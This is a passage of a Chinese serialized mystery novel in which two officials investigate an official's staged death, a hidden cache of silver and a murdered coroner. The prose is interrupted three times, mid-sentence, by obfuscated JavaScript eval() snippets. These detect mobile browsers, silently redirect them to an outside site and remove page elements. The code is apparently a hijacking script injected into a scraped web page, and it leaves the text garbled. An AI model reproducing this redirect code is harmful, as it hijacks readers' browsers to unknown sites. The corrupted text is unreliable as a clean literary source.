良久，才听见里头的门闩吱吱呀呀地有所响动。只见门偷偷开了一小缝，里头漏出一双眼睛，正欲悄悄打量敲门之人。 柳如意见势一把将门推开，宅内的全貌也得以完全呈现出来。 只见宅子内，杂草丛生，原本地假山池塘，如今已成为一滩死水，漂浮着各种枯叶。 而开门的是位二十来岁的青年男子，身材矮小，眉目清秀，但或是受主子离世的影响，鬓角的头发已有些发白，脸上也满是疲倦之色，身子骨显得格外廋弱，似有弱柳扶风之势。 那人上下打量柳如意、沈暨白，虽两人衣衫为普通衣衫，但是气度十分不凡，便问道，“请问两位大人贵姓？和我家主子有何关系？”男子声音不似其外貌那般清秀，反倒是十三岁儿童变声期的那般低沉粗粝。 “我们是陈大人的远房亲戚，听说其突发不幸，特前来探望，看自己能否尽所能帮扶一二？”为避免身份暴露，打草惊蛇，柳如意便假扮道远方亲戚与之周旋打探虚实。 见那人眼中满是怀疑，沈暨白从袖中掏出一份书信，递给他，“这是陈大人早年的家书，上面的胡行就是我的父亲。” 此份书信，是当初都察院搜查陈牵的遗物当中的。 故，那开门的男子看后，心中怀疑也瞬间消散。其连忙将柳如意、沈暨白迎入宅中。 宅中冷冷清清，府中下人已不剩几人。 只见那人将桌上的灰尘擦了擦，提壶为两人斟茶道，“两位可真是好人，自从陈大人走了后，陈府便大不如前了，树到猴狲散，说的便是这回事儿！府中那些姨娘见势，纷纷搜刮府中的金银珠宝偷溜出府，其他下人也各奔东西……“说完，李管家长长叹了口气，自暗格里头拿出一包鼓鼓的玩意，小心翼翼得将油纸一层层掀开，“这些茶叶是大人的珍藏，放在书房夹间内，故没有被拿走，还望公子小姐莫嫌怠慢……” “目前，府里留下的也是都是些苦命人家，若不是当初受过大人恩惠，来到陈府，估计也饿死半路……哎，等到大人后事处理完，老奴也打算收拾收拾回老家了……”这人正是陈府管家，开府时就跟着陈牵，算是府中的老人了。 “府里还有什么女眷留下嘛？想着世父也是悲惨，英年早逝，没留下一儿半女。其走后，陈府凋僻，若是有留下谁，我们也可将其接到江南，好生照顾，也免姑父在泉下难以安息。”柳如意问道。 失去丈夫的女子最容易交心，陈牵若是偷偷转移官银，以其好色张扬的性子，酒酣之余，难免会向其身边女眷透露出部分“不知名”线索。 只见李管家摆了摆头，刚要说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537366|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 堂中冲进来一人，衣服破烂不堪，长发散落，将脸全部遮掩起来，其口中念念叨叨，却一字也听不清说了什么。 “快把夫人拉下去。”妇人的闯近有些突然，管家懵了会，随即立马开口吩咐跟在其后面的壮汉道，说完，又转头对柳如意、沈暨白愧疚道，“失礼了，夫人前些年生了场重病，导致如今精神有些失常…大人在世的时候，怕其误杀府中其他人，所以将夫人安置在府中的偏院，安排专人看守，不允许其外出。” 柳如意道，“恰好我在老家认识位有名的医师，最擅长于治疗此种精神失常之症，要不将夫人交由于我照顾？” 管家摆手叹气道，“老爷在世的时候，没少因这事费心，花了重金求取医师为夫人看病，可惜终是不了了之…而且夫人这病症严重起来，会伤人性命，陌生人更甚。老奴和府中剩下的几位下人已了解了夫人秉性、用药习惯，所以还是我们来照顾夫人，多谢小姐好心。” 柳如意闻言，也不好多说，于是留下张纸条，“我们近日会在胡平县住上一段日子，要是有什么需要帮忙的，可以随时来找我。” 管家点了点头，说完柳如意、沈暨白便作揖离去。 “这管家有事情隐瞒我们。”柳如意靠在马车上，回想到妇人冲进来，管家脸上一闪而过惊慌的表情。 沈暨白微微歪着头，问道，“例如呢？” 柳如意想了想，“开始我问他，府中是否还有其他女眷，他本欲摇头的，是因为夫人突然出现，才突然改口……” 柳如意接着补充道，“而且，他似乎一直在引导我们，说府中的钱财珠宝被其他姨娘搜刮带走……那其中包括十万两官银吗？” 沈暨白摇了摇头，“如此大笔银两，她们约莫没那个胆子拿走，且运输出城也不容易。” 说着，用手从杯中蘸了些水，在案上写下“女”字，“或许，我们可以从这块入手。” 柳如意沉思地点了点头，撩起帘子对外头车夫说道，“去县衙。” 县衙外，守门的侍卫见到了两人，正欲伸手拦住。 只见，柳如意从怀中掏出大理寺的令牌往侍卫眼前一举，说道，“大理寺，查吧。” 那人连忙拱手道，“原是大理寺的大人。”说着，将两人往公堂内迎去，又小心翼翼地道，“大人，您们稍等下，已去禀告知府、知县大人。” 不一会，知府、知县两人便匆匆赶来，“不知大人远道而来，照顾不周，还请见谅。”前阵子，王宇早就听说朝廷会派人调查户部郎中案子，说是案子还存在些蹊跷，只是没想到竟然这么快就到了胡平县。 知府王宇一边说着，一边打量起正堂内坐着的两人，前面那人眉目如画，眉梢间带着一抹飒气，双眸清澈明亮，如瀑长发被根绸带挽起，加之此人又称大理寺办案，遂心中其身份已是了然，毕竟，大乾女官能说出姓的也就只有那几位。 而他抬眼看向后头那人，狭长眼眸似春水般温润，却又深不见底，给人一种清冷疏离之感，却一时间猜不出身份，遂朝两人拱手道，“大人，衡州山高水远，地处偏僻，消息堵塞，不怎么识得大理寺中人，敢问大人是在大理寺何处任职？” 其身后的知县刘庆五短身材，弓着身子恭敬立于王宇身后，溜须拍马，随声附和道，“两位大人气宇轩昂，这等气度，定是不凡。” 柳如意道，“大理寺寺正柳如意，这位是……” 沈暨白急忙开口，赶在柳如意前头说道，“在下大理寺司务沈贾。” 两人闻言，长舒一口气。大理寺寺正不过从六品官职，朝廷派两位品衔不高的官吏前来，起码能证明上头没因此发怒，自己乌纱帽也算是保住。 王宇又问，“阁下前来县衙可是需要查看了解什么？” 柳如意点头，“陈牵案件的卷总。” 王宇招了招手，一人立马走上前来，“大人。这位是刘推官，待会就让他带两位大人前去查看陈牵的卷宗。”说完，又转头对刘庆说，“两位大人，务必要照顾妥当！” 14. 查看案宗 “吱呀”一声，库房的门被推开。 案卷库内，因窗口常年被遮挡的缘故，一片昏暗。刘推官自怀中拿出一火折子，往里头呵了口气。透过微弱烛光，才勉强看得清一星半点。 “当初，也不知道是工部怎么找的匠工？设计得什么玩意儿？库房的窗棂被门口那棵大树遮地严严实实，生怕进来一些光……不知道的人，还以为进了大狱呢？”刘推官口中抱怨嘟囔，手麻溜地将四角的壁灯逐一点亮说着，边点边提醒道，“大人，室内黑，您们当心些，这儿架子多，容易磕着碰着……” 柳如意抬头，只见库房不大，却满满当当摆了一排排架阁，上面杂乱地堆了一堆堆卷宗，便打趣道，“这卷宗库倒是门美差事。改儿，趁上头开心，我定要在这求个一官半职，讨个清净日子。” 刘判官闻言一个哆嗦，急忙开口解释道，“大人说笑了。胡平县是个小地方，官吏配备自是不比京中，只有一知县，二佐贰官，典史若干……”，说着叹气道，“近日，县衙人人忙着处理那桩命案，应付上头询问，忽略了这块收拾，还望大人宽恕。” 柳如意赶忙扶起作揖的刘判官，笑道，“早知判官如此，我定不胡乱言语，怪我这嘴，习惯了与人打趣，你莫要当真……”说完话语一转，“听你刚才说话意思，上头有其他人也在查？” 刘判官，“户部前阵子找了几位同僚问过话。” 柳如意点了点头，如果是户部的话，就不奇怪了，毕竟死的是户部的人。 沈暨白抬脚往靠门前的架阁走去，用手轻轻摸了案板，上面倒是比较干净。 刘判官见势，说道，“大人，因库房较小，为了方便，每次新来的卷宗都是先往门口架子放，旧了，不用了，就会往后面的架子上腾……” 刘判官接着问道，“不知大人这次要查什么卷宗？” 柳如意答，“陈牵尸检结果，以及其家籍信息。” 只见刘判官娴熟从门口的架子中间层取出两个卷宗，递了过去，“大人，你要的信息。” 柳如意接过，见刘判官过于轻松地从一堆案卷中取出陈牵的那份，问道，“你翻找的如此熟练，可是最近有他人查看有关陈牵的卷宗？” 刘判官摇了摇头，“若是往常，下官怕是要找上个三四时辰……但是，前阵子，府衙中杂役搬放卷宗时，不小心将这个架子打倒，害我重新整理了一番，故对其中的摆放还也有些记忆。” 听完，柳如意、沈暨白两人开始仔细翻看两本卷宗。 “陈牵，孟冬十日死于醉红楼，死因做过死。”柳如意看着尸检结果，喃喃道，“为何验状如此简单，检验记录一点也未提？”大乾的验状一般会写清楚死人尸首位置、顿放位置、彼处四至、尸首情况。 刘判官答道，“陈大人死因不光彩，府衙为顾全其死后颜面，故也只是在验状上寥寥记录几笔其死因。” “那不怕误判了？”柳如意疑问道，验状不清楚、记录不全，官府又是如何断案的呢？ 刘判官道，“大人，下人倒不是诬蔑死者，陈大人在世时，夜夜笙歌，留宿烟花之地是常见的事。大人若不信，可以随意找几人对供。且当时公堂定案时，因为陈大人是朝堂中人，故知府大人当时也去了验尸现场，案件结果也是当场根据仵作验尸结果判处的。” 另一本陈牵的家籍信息，则更是简单--陈牵，自小父母双亡，是个孤儿，靠吃百家饭长大，景元十年，中贡士，因殿试落选，后一直在胡平县供职。其只娶一妻胡氏，胡平县人…… 既然其留连于烟花之地，怎么会甘心“一生一世一双人”，必定妻妾成群，而且照陈府管家说辞，陈府应该不少妾室，满是疑惑，“陈牵没有妾室？” 刘判官点头，“陈大人老丈人家中从商，是胡平县有名的富贾人家。而其本就是高攀，且官场平常难免需要些银子打点，加之，他本就是个孤儿，无依无靠的，故其不敢得罪老丈人……” 刘判官一边说着，一边偷偷打量起两人的表情，毕竟说同僚“吃软饭”的私事，有些不道德，见两人面色无异，又补充道，“男子三妻四妾本就是寻常事，陈大人平日爱拈花惹草的，夫人胡氏也只是睁一只眼闭一只眼，唯一要求只有一点，就是陈府明面上的女主人只能有她一人，其不允许不三不四之人与其称道姐妹。故，柳大人也不敢给其他女人名分。” “可前阵子，我们前去陈府，听陈府管家所言，府中可是有许多妾室？”两人说辞显然相悖，柳如意也不绕弯子，直接点出出来。 刘判官凝眸望向柳如意，未曾料想其竟如此认真，以往上头派来的官人，不过是装腔作势，装模作样地翻一翻案卷，然后便以“督军”身份，督促下头尽快破案……心中燃起几分敬佩 之情，“胡氏只是要求其明面上不给名分，即不于官府备案，不立妾书，名字不得写进宗祠。至于下人如何称呼，陈牵是否将其带进府中，这些胡氏也就置之不理了。” 柳如意出了案卷库后，眉头依然紧锁，一番下来，内心直觉告诉她，胡平县没有面上看的那么简单。 两人一同上了马车，柳如意叹气道，“估计要在这儿待上一阵子了。大人，为何在府衙中不坦白身份？”沈暨白官居二品，又是都察院中人，若是其亮明身份，明明更好办事。 “有时候暗地里比明面上更令人害怕……我到胡平县的消息，估计早已被有心之人通风报信，传到这儿。那若是我一天不露面，有人就得提心吊胆一天。这样的话，难免会露些马脚。” 柳如意诧异道，“你是说有内贼？” 沈暨白点了点头，慢慢闭上眼睛，思索道，“我此次前来胡平县，准备仓促，未带人一同前来。你晚些派个人，去查查陈牵家籍信息用的纸张来源。” 柳如意眼神一亮，回想起陈牵家籍用的纸张，其纸张竟和尸检结果所用的纸张别无二致。 而纸张相同可能是凑巧，只是连新旧程度也相同，那就有些蹊跷了。毕竟家籍信息的那套卷宗所用纸张应是其入仕时期所制，尸检结果所用纸张应是近期的所制，两者相差三十多年，新旧程度怎会一样？ 柳如意点了点头，“他们假造陈牵家籍信息意欲何为？” 沈暨白摇了摇头。 柳如意接着问道，“那能不能在吏部那边查看陈牵的信息呢？”历代官员信息都会在吏部那边备案，故吏部那边应该也有记录。 沈暨白答，“我晚些会写封信，派人去吏部查看其信息，不过，我猜，大概率陈牵的信息应该也被人调换了。” 马车很快就到了明昭楼。只见，飞檐翘角，青砖绿瓦下，挂着一个个红灯笼，闪烁出暖黄的光。 柳如意在大堂内的小角落处坐了下来，摸了摸肚子，“忙了一天了，也该好好吃一顿了。” 说着，便招手来店小二，“小二，来几份招牌菜……” 很快，小二便将酒水和菜肴送至座前。 沈暨白自筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537367|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筒里取一双竹筷，用帕子擦干净后，朝柳如意递了过去。 柳如意迅速自筷筒抽出一根竹筷，受宠若惊道，“大人，我自己来就行。” 沈暨白手中顿了顿，微微蹙眉道，“私下里，不必喊我大人。” 柳如意点了点下巴，心想他如今要隐藏身份，确实喊其“大人”不合适，遂开口应到，“是，沈兄。” 沈暨白眸色暗了暗，欲言又止，最终化为口中几字，“快吃吧。” “大人……”柳如意察觉不对，急忙改口，“沈兄，你是如何发现这家店的？味道好极了。” 沈暨白答道，“陈牵老丈人家的酒馆。” 柳如意望着酒馆内来来往往的客人，“胡氏到底看中了陈牵什么？胡家酒楼这火爆生意，怕是娟也不愁人嫁吧？”潜意识中，柳如意一直认为商人从来不做没有利益的事情。 柳如意细长的指尖轻抚眉心，良久，依然是毫无头绪，摆了摆头，“不想了。说不定，明早睡一觉起来，脑子清醒些，能想出其他事情……吃饭吃饭。”说完，便开始大快朵颐起来。 “沈兄，你怎么不吃？”柳如意见沈暨白吃了几口，便放下筷子，在一旁喝起茶来。 沈暨白咳嗽了几声，答道，“吃饱了。”见柳如意额头上泌起一层细小的汗珠，被辣的面红耳赤，又给其斟了杯茶，“解辣。” 醉红楼位于湖平河畔旁。平日热闹的地方，如今因为陈牵的死变得格外凄冷，连翘檐下的灯笼都被风吹的左右摇晃，沙沙作响。 柳如意、沈暨白两人本就样貌端正，加之，醉红楼生意大不如前。 两人刚进门，一旁倚门揽客的烟花女子连忙凑上前，“公子，让奴家来伺候你吧。” 柳如意刚想一把揽过女子的腰，猛然瞥见身后已经漆黑的脸，连忙自衣袖里取出令牌，“大理寺查案。” 闻言，那几位烟花女子粉黛脸庞上露出微微诧异之色，步子也往后退了一步。 很快，从后头走上前一年纪稍长女子，身材略显丰腴，手中拿了把团扇，扭动着腰肢走了上来。 只见她瞄了眼令牌一眼，急忙堆出副殷勤的脸孔，“大人今日前来所谓何事？醉红楼向来恪守律法，从未干过什么杀人犯火之事。” 柳如意摇了摇头，“今日，想找你了解下陈牵死亡的细节。” 柳如意昨日一觉起来，想通了一件事。若是陈牵并非死于作过死，那困于案件之中，又了解案件内情，且能主动提供线索的，只有醉红楼。 其生意深受陈牵案件影响，那他们自然就是最想还原真相，“自证清白”的。 闻言，老鸨急忙引柳如意、沈暨白至屏风后小座，雕花桌案上放着些葡萄美酒。 柳如意抿了抿茶水，问道，“当时是谁发现陈大人尸体的？” 老鸨答道，“是我，那日，日上三竿，我瞧着温顺一直迟迟未起塌，而陈大人一般丑时就会离开。当时，我便以为是温顺偷闲睡过了时辰，便来其房间唤其起床，然后就发现了后来的事……” 柳如意又问道，“陈牵，你们这的常客？” 老鸨点头道，“陈大人每周都会来我们这两、三次，因其出手阔绰，每次都会送姑娘们银饰珠宝，故每次其来，姑娘们都上赶着去……” 柳如意问道，“那有没有其固定寻的一个姑娘。” 老鸨想了想，摇了摇头，又转口道，“固定倒没有，但细想起来，他点‘无双’比较多。” 15. 无双之词 自屏风后走出一人，身披轻衣罗衫，翠袖轻摇，纤腰如柳，一袭青丝被随意披在身后，行走时脚上的铃铛铛铛作响。 “大人，这位便是‘无双’姑娘。”说着，又转身对那女子说道，“官家待会问你些陈大人案子细节，你务必如实告知……” 无双闻言，温顺地点了点头。 柳如意看了一眼站在一旁的老鸨，“我有事想单独和她谈谈……。” 老鸨无奈，只得转身离开，只是转身时恶狠狠瞟了眼无双，示意其不要乱说。 见老鸨走远，柳如意从一旁拉过一张凳子，“别干站着，坐下吧。” 无双这才慢慢坐下来，因其一直低垂着头，柳如意根本看不清其神情。只是，其身体微微的战栗，显示着她的紧张。 柳如意拿起茶壶，斟了杯热茶，宽慰道，“无双姑娘，你别害怕！关于陈牵的案子，你若是知道什么，尽管说出来……我们会替你保密，也会暗中保护姑娘安危的。” 无双闻言，才堪堪抬起头来，一双如玉般眼眸已是通红肿胀，哽咽着嗓子道，“真的吗？” 柳如意点了点头。 只见其薄唇轻启，说了句令人震惊的话，“陈大人绝对不是做过死……” “你怎么如此笃定？”虽柳如意怀疑过陈牵的死因，可是事到如今，她也不敢如此笃定。为何无双却能如此确信呢。 无双难为情开口说道，“因为其不举。” “那他还这般流连烟花……”柳如意嘴中刚要吐出“烟花之地”，发觉可能冒犯到无双，遂急忙改口道，“这般流连醉红楼。” “世人都希望自己是完美无暇那个，若是发现自己某处不行，便越想去遮掩，去证明……”无双放低了声音，“陈大人有一怪癖，他在做那事前，喜欢看那种画册……”说完，哀嘁一笑道，“虽然那方面不行，也可以靠‘后天’努力……我们这些人，自进楼就被迫学习各种承欢秘术，让恩客躺着亦也有‘醉生梦死’之感本就不是难事。” 虽男女之事，柳如意之前也有听过，但是如今亲耳听当事人如此细致说，还是头一遭，耳尖不知觉间已偷偷爬上一抹红色，“那这种不会做过死？” 无双摇摇头，“不举之人，若死于做过死，除非性窒息。而他们那种人不似我们这般身份卑贱，自是万般珍爱自己生命，怎会在这种事情作践自己。且，那日，陈大人死亡现场，我也偷偷去看过，只见，尸口眼多开，遍身作青黑，口中有血流出，更奇怪，其阳痿。” 柳如意闻言，心下徒然一惊，阳痿明显是非做过死的典型症状。只是一个青楼女子都知道的道理，可能知府不知，但是为何仵作看不出来呢？ 柳如意一双如鹰般眼眸盯着无双，想探出她话中真假。 直到无双被盯着有些瑟缩身体，才堪堪移开眼睛。 柳如意又问道，“听老鸨说，陈牵每次来都出手阔绰，会送些银两珠宝，可是真的？” 无双点了点头，“多是些珠宝、字画类的，银两倒是很少给。” 柳如意疑惑道，“珠宝、字画？” 无双点头，“对，珠宝、字画虽并非真金白银，但是确实格外值钱。每次其送给我们这些，我们都会拿至当铺给当了，基本都能换上好大一笔银子。” 柳如意疑惑，“基本？” 无双站起身，葱白的手指不紧不慢地掀开帘子，指了指墙上的一幅画，“前阵子，他曾送给楼中姐妹一副牡丹图，但当楼中小厮前去当铺典当时，当铺老板当场就说是假的。” 说完，自嘲道，“或是，陈大人看走眼了……这些字画，我们看着倒觉得差不多，亦分不出何为真、何为假，只知道能换得银两便值钱……故，这副牡丹图被说成假物后，便被挂在这，说不定，走运得某位大人酒后题词，吹嘘一番，也能卖个好价钱……” 柳如意皱着眉头，“倒是稀奇。” 说完，几人便起身瞧起那副牡丹图，只见其纸张是用上好的蚕茧纸，白而细腻。画轴亦是用的上好的檀木，凑到近处有清香扑鼻。 而画中牡丹更是以勾勒、渲染等为主，红色铺染，栩栩如生。 画的左上角题了首诗——唯有牡丹真国色，花开时节动京城，画的落款则是江南书画大家许宗。 若说这许宗，柳如意倒是也曾阿父提起过，一代帝师，文武双全，一心辅佐景行帝创建大乾。只是景行帝登基后，功成名就时，拒绝拜相入朝，归隐江南。 虽然柳如意不通字画，只是这幅画有个明显错误，就是“动”字出错。一个大家定不会犯如此错误。只是若一般人认错也就罢了，但是陈牵是当朝贡士，怎会犯如此错误。 遂，柳如意在画前又转了转，没发现什么异样，转身坐了下来。 只是一旁的沈暨白盯着画有些出神。 “沈兄，可是有什么？”柳如意问道。 沈暨白眸光微微蒙着雾气，让人琢磨不清， “没什么，只是觉得这画画得不错。” 柳如意接着又问了几个问题，见无双也说得差不多，便摆手令其离去，“谢谢无双姑娘了，若以后今后疑问，免不了再来打搅姑娘，还望姑娘不要厌烦。若是，姑娘今后有想起什么，可以随时前去桂花巷最里头的那间屋舍找鄙人柳某。” 无双点了点头，轻轻施了一礼，正欲转身离开，抬脚间，脚腕处的铃铛发出叮当响声。 柳如意随口问道，“你们这儿都要带这铃铛吗？” 无双语气带着一股无尽悲凉，将袜子褪到脚踝处，露出其上的银色镯子，“老鸨怕我们这些女子偷跑出去，所有进来的女子，都就会在其脚间都烫上一个脚镯。” 柳如意定晴一看，只见无双脚上银镯已同与脚踝处完美融合，银镯两边的新肉也已经重新长出，恢复正常的颜色。银色脚镯镶嵌着四个金色铃铛，被风吹过，发出清脆响声。 柳如意哑然，这同朝中罪犯身上的烙印有何区别，不过是折辱人的玩意，一点一点消耗佩戴者的自尊，直至完全消磨，自己也觉得自己是个玩意，“不好意思，在下唐突了，勾起姑娘伤心事了。” 无双闻言，轻笑道，“大人言重了，我们这般女子，本就身份卑贱，奴家也早已习惯这事了。” 马车上，柳如意只觉头昏脑胀，“大人，你怎么看？”事情错综复杂，疑点破多。管家、官府、无双三人的话彼此矛盾，究竟谁真谁假呢？ 沈暨白指尖轻扣，“春宫图……” “对，春宫图去哪里了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537368|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳如意经此提醒，顿时脑子清醒过来，尸检过程有误，尸检报告简单，尸检证物缺失，种种线索都指向仵作一人。 柳如意刚欲掀起马车帷帘，吩咐车夫前往县衙。 只见一辆马车梗亘其中，挡住了其去路。 马车一个急停，柳如意猛地一个踉跄。 正要扑倒在对面沈暨白身上，沈暨白侧身一躲，柳如意整个人扑倒了车厢上，发出“噔”地一声响。 马夫掀开马车帷帘一角，歉意道，“大人，前头被一马车挡住，说是要见大人您。” 只见沈暨白整了整衣襟，微微咳了几声，递给柳如意一方手帕，“擦擦吧……” 柳如意未接过，而是慢慢爬起身来，调侃道，“大人身手真好，倒像个习武之人。” 沈暨白收回手帕，眉眼轻抬，嗤笑道，“都察院常年遭人暗访，治安甚差，若是身手慢吞，怕是性命朝不保夕……这不过是多年锻炼出来……” 柳如意：你看看你们干的是啥事吗？口诛笔伐也罢了，抓迟到，抓早退……“吹胡子瞪眼”，揭他人短处……不被打才奇怪呢。当然，这些……柳如意也只敢心里想一想。 于是，堆着笑道，“那还是难为大人了。”说着便下车查看道。 另一辆马车上的人正是刘推官，柳如意见其深色匆匆，问道，“可是发生了何事？” 只见刘判官附在其耳边轻声说道，“府衙内死了一仵作。” 柳如意闻言脸色一僵，用仅两人听到的声音，小声问道，“给陈牵做尸检的那位？” 刘判官点了点头。 停尸房中，仵作尸体被放角落处。 沈暨白伸手将覆盖其上的白布掀开一角，露出仵作那张青色脸庞。 只见，尸口眼多开，面紫黯色，唇紫黑，口、鼻均有血流出。 沈暨白接着又掀起白布的一角，查看到其指甲，只见指甲尖黑。 接着，转身问道，“可有找仵作验尸？” 刘推官为难道，“我们县穷山僻岭，大家嫌弃仵作这活晦气，无人愿意干，外头人瞧不上我们这，故县中也只有他这一位仵作。” 沈暨白闻言，眯了眯眼睛，“那不打算找人验尸了？” 刘推官一个寒战，立马跪倒在地，“下官不敢。下官也在尽力找仵作，只是苦于现状，怕是需要等上一段时间。” 沈暨白淡淡道，语气中有种不容推辞的威严感，“我倒是认识一人，刘判官，你将尸体交给我们俩处理。” 刘判官颤抖身体，吞吞吐吐道，“这恐不妥，……不合……律法……” 沈暨白一个冷眸，眼神中满是寒气，冷声道，“等你找到仵作，怕是他已经化为枯骨，凶手也逃之夭夭，且大理寺本就有审查案件之权……” 柳如意站于一旁，见沈暨白已是恼怒，而刘判官跪在地上，想反驳却不敢，便急忙走上前转圜道，毕竟以后还得靠府衙这边配合，关系闹得太僵不行，“明日，我以大理寺名义写份令状可好？只是大理寺的印章还在京中，签署我的名字，加盖手印，可行？” 刘推官微笑点了点头，也算是有个较为正式的文书，若是出了事情，好歹有人可以担责，遂又跟两人行了个大礼，“多谢大人。” 16. 两人同行 出了停尸房后，柳如意无奈道，“可恶，线索又断了……” 说着，一黑衣短打劲衣男子不知何时从拐角走了过来，附在柳如意耳边小声地说了会，便又离开了。 只见柳如意脸色微沉，“沈兄，陈牵家籍所用纸张，确实有所蹊跷……前阵子，刘仵作从库房那支取了两张官纸。” 沈暨白应是早有料到，眼中毫无半些吃惊的神情，只是微微点了点头。 柳如意一手支着下巴，另一手搭在支着下巴的手上，思忖道，“调换陈牵信息有何作用呢？莫非，其身份有什么隐情？” 沈暨白略有所思，“胡同里出来的，身份最难做手脚……左邻右舍都认识，稍有偏差，就会露出马脚……所以，他们到底在费力隐藏什么呢？” 柳如意见状，“我晚些找几探子，去陈牵老家查查？” 沈暨白点了点头，又吩咐道，“有件急事需要你找人处理下。” 柳如意见沈暨白眼光盯着停尸房的方向，拍了拍胸脯，“沈兄，交给我，我这就找几个人兄弟抬尸。不过，沈兄何时学会验尸？” 沈暨白摇了摇头，双手一摊，“我不会……” 柳如意一愣，指了指自己，“大人不会让我验尸吧？” 沈暨白斜乜道，“你会？” 柳如意摆了摆头，“不会。” 沈暨白道，“送文书，借隔壁县仵作。” 隔壁林县到安平县来回不过两三个时辰路途，今日差人送文书过去，明日估计就可以到达。 “以大理寺名义？”柳如意问道。 沈暨白眯了眯眼睛，“以都察院的名义。” 仵作发生命案，府衙知府本人没有前来，而是差了位六品通判前来禀告。依照大乾律法，大理寺下临查案时，知府本人因故不能到场，知州必须在场……如此一番没规矩，自是证明安平县甚至衡州府根本就没有将朝廷派来的大理寺放在心上。 同时，命案发生，面对案件堵点，缺乏仵作，经办官员却不知变通，敷衍应对，效率低下。是时候该敲打一二。 沈暨白开口吩咐道，“今晚你去刘仵作府中，我再去趟陈牵府中。” 柳如意答道，“要不我们一起去？这样，我可以贴身保护沈兄安全。” 沈暨白胡疑看了眼柳如意，犀利眼眸欲透射柳如内心，“说实话！” 柳如意讪讪答道，“听说要是有冤情，冤魂是不愿意去地府，而是将魂魄停留在熟悉的地方，例如家宅？” 沈暨白嗤笑道，“你还信这些神鬼之术？” 柳如意吞吐道，用手捏了个高度，“信一些……” 黯然片刻，沈暨白道，“那我们先去仵作家，再去陈牵家中。” “好的。” 仵作家宅坐落在一条狭长的小巷内，巷子里密集地排列着一栋栋矮小的瓦片房。 大乾仵作身份地位卑贱，大部分出生贱籍。 柳如意跟在沈暨白身后，在一扇破旧的木门前停住了脚步。 沈暨白朝一旁矮墙努了努嘴，“翻吧。” 柳如意怔了一会，敢情把自己当下手使唤了。不过，谁让他官位高自己几阶？于是，足尖轻点，悄无声息地越入墙内。 吱嘎一声，柳如意将木门轻轻打开，沈暨白这才抬起步子往里头踱走去。 皎洁的月色洒在院中的几株草木上，周遭除了虫鸣声，一片寂静。 柳如意压低嗓音，“大人，如此厉害，为何不学些武术傍身。” 沈暨白斜睇道，语气中有些不耐烦，“身体不好，不适合学武。” “大人手脚灵活，倒是快学武的好料子……”柳如意小声嘟囔道。 前方，沈暨白已是自怀里掏出一火折子，细细地照着房间内的各个地方。 只见，刘仵作的家中格外清贫，只有一桌、一塌、一柜、一椅，桌上整齐地摆放着验尸的工具，以及纸笔等。 走至塌前，只见塌上整齐地叠了床冬被。但或是因为室内长期潮湿，被子有些泛黄。 塌前放了一个床头高的一小柜子，其上放了些纸笔。 柜子带了个抽屉，沈暨白伸手将抽屉拉开，突然瞥见一本册子，自怀中掏出一帕子，包裹在册子上，小心地从里头取了出来。 柳如意凑头看了过来，伸手接过册子。 册子首面上什么也没有，是空白的。 柳如意刚欲伸手将册子翻了开，沈暨白提醒道，“别碰纸张，用手帕包着翻。” 柳如意疑惑道，“大人觉得这册子有问题？” 沈暨白点头道，“我今日观刘仵作之死，其口鼻有血溢出，面色发青；且，据醉红楼无双所说，陈牵死时亦是遍身青黑，口中有血流出。两人死亡症状如此想像，怕是死因相同……这本册子纸张细腻，倒不像是穷苦仵作所有，倒像富贵人家的玩意……” 柳如意小心翻开册子，顿时，色彩明艳、赤身裸体的春宫图立马映入两人眼中。 “咳咳咳”柳如意尴尬地咳了咳嗽，面色略微有些绯红。 沈暨白面色如常，淡定地说道，“这估计是陈牵丢的那本，保管好”说着，又接着补充道，“到时候让仵作验一下这本册子。” 柳如意应道，“好。”只见，其又用力自衣服上撕下一块布，将册子包了起来。 沈暨白打着灯，环顾四周，忽然，眼色一暗。走到一处墙边，用指尖叩了叩墙面，竖耳听道。 敲完后，复又回头看向柳如意。只见其眼神上下打量，最后聚焦到其头上挽发的簪子，伸手道，“把你簪子借我一用。” 柳如意拔下发簪，顿时一头墨发散落下来，令整个人多了几分柔色。 只见，沈暨白接着发簪，朝墙角刺了过去，一点一点挖了起来，而墙里头的东西慢慢显露出来。那是块用褐色帕子包的东西。 沈暨白接着用银簪小心拨弄着帕子。不一会儿，露出些银色的小角。 柳如意震惊，“银子？” 沈暨白又用力用簪子扒开帕子，露出全貌时，心中已是明了，“刘仵作应是被收买，做了假证。” 柳如意点了点头，不解问道，“大人如何一眼瞧见这个洞与众不同。” 沈暨白指了指一旁墙的颜色，“这块颜色更白些。” 两人又仔细地将屋子内搜寻了一番，确定没落下任何角落，便匆忙赶向陈牵府中。 月色慢慢变得昏暗，一身夜行衣已悄然同夜色融为一体。 